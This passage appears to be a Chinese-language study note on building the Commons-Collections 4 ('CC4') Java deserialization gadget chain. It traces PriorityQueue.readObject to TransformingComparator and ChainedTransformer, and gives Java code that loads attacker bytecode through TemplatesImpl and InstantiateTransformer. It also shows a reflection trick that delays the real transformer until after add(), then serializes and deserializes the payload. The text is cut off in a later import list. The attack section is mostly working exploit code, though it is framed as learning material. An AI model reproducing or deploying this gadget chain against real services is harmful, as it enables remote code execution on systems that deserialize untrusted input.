Commons-Collections 4.0
https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>JDK 8u65
以 ChainedTransformer.transform 为出发点,往回找

找到 TransformingComparator.compare 中调用了 transform 方法
再找到 PriorityQueue 类中:




<font style="color:#080808;background-color:#ffffff;"></font>
最后找到的链也就是:
PriorityQueue.
readObject
heapify
siftDown
siftDownUsingComparator
compare
TransformingComparator.compare.transform<font style="color:#080808;background-color:#ffffff;"></font>
ChainedTransformer.transform
PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator.compare
->
TransformingComparator.compare.transform
->
ChainedTransformer.transform
<font style="color:#080808;background-color:#ffffff;"></font>
先将 CC3 的代码执行部分拿来:
//代码执行 InstantiateTransformer
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
对照源码进行构造:
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
写好之后,发现没有反应

调试来到此处:

看到 size:0 ,不会进入 siftDown.



for (int i = (size >>> 1) - 1; i >= 0; i--)1.
size >>> 1
>>>是 无符号右移运算符。
size >>> 1等价于size / 2(向下取整),但不同于/2的地方在于:
/2是普通的除法运算;
>>> 1是位运算,执行效率更高(尤其是在底层算法里)。所以
size >>> 1就是 数组长度的一半。2.
(size >>> 1) - 1
先取数组长度的一半,再减去 1。
结果是 从数组的最后一个非叶子节点开始的位置。
例如在堆排序或优先队列的实现中:
叶子节点的下标范围是
size/2 ~ size-1。非叶子节点的最后一个位置就是
(size/2)-1。3.
for (int i = ...; i >= 0; i--)
i从(size >>> 1) - 1开始,递减到0。也就是说:循环会从最后一个非叶子节点开始,往前遍历所有非叶子节点,直到根节点。
这是一个建堆(heapify)的实现。作用是:从最后一个非叶子节点开始,依次向前调整,直到把整个数组调整成一个堆结构。
所以要保证 size 为 2 才能进入 for 循环执行代码
于是添加:
priorityQueue.add(1);
priorityQueue.add(2);
此时执行代码后报错了

跟进 add 函数:




发现 add 函数也会调用 compare,而当 add 调用 compare 也就会调用 transform
而我们知道 _tfactory 在反序列化的时候才会被赋值 【CC3 中分析 利用 TemplatesImpl 加载字节码 时提及】

所以,先给 transformers/chainedTransformer 传一个没用的东西,让 add 执行时不会调用
compare.transform ,在反序列化时再赋给正常值。
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
//TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformerField = c.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(transformingComparator, chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
这样就可以正常执行了

package com.CC4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import or